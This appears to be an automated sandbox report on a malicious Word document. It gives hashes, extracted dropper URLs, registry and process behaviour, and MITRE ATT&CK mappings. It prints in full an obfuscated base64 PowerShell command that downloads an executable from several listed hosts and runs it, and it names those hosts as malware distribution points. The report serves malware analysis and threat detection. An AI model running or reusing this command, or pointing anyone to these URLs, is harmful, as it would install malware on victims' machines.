4f76cf4e36ca9219901c98b94ba2823a5b2f0e18f64f90dd735d7683003c7f0a

Analysis

max time kernel
84s
max time network
84s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
01-02-2022 06:58

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General

Target

4f76cf4e36ca9219901c98b94ba2823a5b2f0e18f64f90dd735d7683003c7f0a.doc
Size

203KB
MD5

3c8c22e22e2aca1aa15f81138e6e7b8c
SHA1

3c0da760e7872f4bbfba79c456f86442f7c09910
SHA256

4f76cf4e36ca9219901c98b94ba2823a5b2f0e18f64f90dd735d7683003c7f0a
SHA512

707d2d76896f7cb369f5eec96d3340f4af0a38842d4e2fa7c2819a33a9f3097132f08cf7d1e36a74fc67ba79361c6a33280defa2eabb7aefe2932d1b648a7a07

Score

10^/10

persistence

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://kasebbazar.com/wp-includes/KGbQIc/

exe.dropper

http://118.24.81.160/wp-includes/a3w/

exe.dropper

http://118.25.25.201:8081/wp-content/jzU/

exe.dropper

http://211.159.168.108/wp-content/uuZ6/

exe.dropper

http://demo.dichvutop.net/noithat12/JMQ3/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4108	2072	powersHeLl.exe	85

Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1532	WINWORD.EXE
1532	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3488	svchost.exe
Token: SeCreatePagefilePrivilege	3488	svchost.exe
Token: SeShutdownPrivilege	3488	svchost.exe
Token: SeCreatePagefilePrivilege	3488	svchost.exe
Token: SeShutdownPrivilege	3488	svchost.exe
Token: SeCreatePagefilePrivilege	3488	svchost.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1532	WINWORD.EXE
1532	WINWORD.EXE
1532	WINWORD.EXE
1532	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4f76cf4e36ca9219901c98b94ba2823a5b2f0e18f64f90dd735d7683003c7f0a.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1532

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe d5923d5ecb35c1b58f41b8918468aeb5 nvpuGvYjIkeXhUYmuHN8yw.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3488

C:\Windows\System32\WindowsPowerShell\v1.0\powersHeLl.exe
powersHeLl -e JABKAF8AMwA0ADQAXwAyAD0AKAAnAE4AXwAnACsAJwBfAF8AMQBfACcAKQA7ACQAegBfAF8AXwBfADAAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAbAA2ADkAXwA5ADUAMQAwAD0AKAAnAGgAdAB0AHAAOgAvAC8AawBhAHMAZQAnACsAJwBiACcAKwAnAGIAYQB6AGEAcgAuAGMAJwArACcAbwBtAC8AdwBwAC0AJwArACcAaQAnACsAJwBuACcAKwAnAGMAJwArACcAbAB1AGQAJwArACcAZQBzAC8ASwBHAGIAUQBJAGMALwBAACcAKwAnAGgAdAB0AHAAJwArACcAOgAvAC8AMQAxADgALgAyADQALgA4ACcAKwAnADEALgAnACsAJwAxADYAJwArACcAMAAvAHcAcAAtAGkAbgAnACsAJwBjAGwAdQAnACsAJwBkACcAKwAnAGUAcwAvAGEAMwAnACsAJwB3AC8AQABoAHQAdAAnACsAJwBwADoALwAvADEAJwArACcAMQAnACsAJwA4AC4AMgAnACsAJwA1AC4AMgAnACsAJwA1ACcAKwAnAC4AMgAwADEAOgA4ACcAKwAnADAAOAAxAC8AdwBwAC0AYwBvACcAKwAnAG4AdABlAG4AdAAnACsAJwAvAGoAegBVAC8AQABoAHQAdAAnACsAJwBwADoALwAvADIAMQAxAC4AJwArACcAMQAnACsAJwA1ADkALgAnACsAJwAxADYAOAAnACsAJwAuADEAMAAnACsAJwA4AC8AJwArACcAdwBwACcAKwAnAC0AYwAnACsAJwBvAG4AdABlACcAKwAnAG4AdAAvAHUAdQBaADYALwBAAGgAdAB0AHAAOgAvAC8AZABlAG0AJwArACcAbwAuACcAKwAnAGQAaQBjACcAKwAnAGgAdgB1AHQAbwBwAC4AbgBlAHQALwBuACcAKwAnAG8AJwArACcAaQB0AGgAYQB0ACcAKwAnADEAMgAnACsAJwAvAEoATQBRADMALwAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABqADIANQBfAF8ANAA4AD0AKAAnAHMAJwArACcANwBfACcAKwAnADkAMABfAF8AJwApADsAJABXADMAMQBfADEAXwA2ADUAIAA9ACAAKAAnADUAOQAnACsAJwA3ACcAKQA7ACQAdwA1AF8AXwBfADIAPQAoACcAdwA5ADQAXwAnACsAJwBfADgAJwApADsAJABpADIAMAAxAF8AXwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVwAzADEAXwAxAF8ANgA1ACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAegA5ADEAMgAzADEAXwAgAGkAbgAgACQAbAA2ADkAXwA5ADUAMQAwACkAewB0AHIAeQB7ACQAegBfAF8AXwBfADAALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAegA5ADEAMgAzADEAXwAsACAAJABpADIAMAAxAF8AXwApADsAJABLADIAXwA0ADkAXwAwAF8APQAoACcAcQA5ADAAMgAyACcAKwAnADUAOAAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABpADIAMAAxAF8AXwApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewBJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAGkAMgAwADEAXwBfADsAJABMAF8ANAA1ADAANQAyAD0AKAAnAE0AXwAnACsAJwA4ADcAMwBfADkAJwArACcAMAAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwA0AF8AMwBfADYAPQAoACcAWABfACcAKwAnADgAXwA4ADEAJwApADsA
1⤵
- Process spawned unexpected child process
PID:4108

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1532-130-0x00007FFE87D10000-0x00007FFE87D20000-memory.dmp

Filesize
64KB

Download
memory/1532-131-0x00007FFE87D10000-0x00007FFE87D20000-memory.dmp

Filesize
64KB

Download
memory/1532-132-0x00007FFE87D10000-0x00007FFE87D20000-memory.dmp

Filesize
64KB

Download
memory/1532-133-0x00007FFE87D10000-0x00007FFE87D20000-memory.dmp

Filesize
64KB

Download
memory/1532-134-0x00007FFE87D10000-0x00007FFE87D20000-memory.dmp

Filesize
64KB

Download
memory/1532-135-0x00007FFE857B0000-0x00007FFE857C0000-memory.dmp

Filesize
64KB

Download
memory/1532-136-0x00007FFE857B0000-0x00007FFE857C0000-memory.dmp

Filesize
64KB

Download
memory/3488-137-0x0000021928590000-0x00000219285A0000-memory.dmp

Filesize
64KB

Download
memory/3488-144-0x000002192B310000-0x000002192B314000-memory.dmp

Filesize
16KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads